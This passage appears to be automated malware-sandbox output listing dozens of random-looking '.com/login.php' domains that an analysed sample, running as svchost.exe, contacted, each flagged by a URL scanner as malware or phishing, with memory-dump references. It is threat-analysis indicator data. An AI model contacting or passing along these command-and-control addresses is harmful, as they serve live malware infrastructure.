                                                                                                                                                                                                          http://lyvysur.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galydyw.com/login.phpsvchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670306640.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qexyvoq.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308250175.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302834749.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qekyhil.com/login.phpsvchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vofydac.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192707198.00000000033C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lymyner.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302611741.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303296410.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033EF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qetyhyg.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qeqykyv.com/Hsvchost.exe, 00000002.00000003.2681961070.000000000866F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gahyvab.com/login.phpsvchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ganyhus.com/Hsvchost.exe, 00000002.00000003.2440992752.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396181713.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2393087013.000000000866C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lygytyd.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302834749.0000000008690000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pufytip.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qedyhyl.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2566181125.000000000573E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pujyteq.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2554924248.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lysytoj.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gatykyh.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pupycuv.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qetyvil.com/login.phpsvchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qetynev.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pujylog.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321434222.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gadyniw.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302424542.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396823285.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3303400991.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009290000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.000000000165E000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000658000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.0000000008790000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.000000000843D000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2711620441.0000000008C6C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CAA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzytap.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577742596.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323585198.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577938444.0000000008693000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lysynaj.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334859023.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gaqyres.com/login.phpsvchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyxygur.com/login.phpsvchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384269083.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2802098474.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vopygat.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577742596.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577938444.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
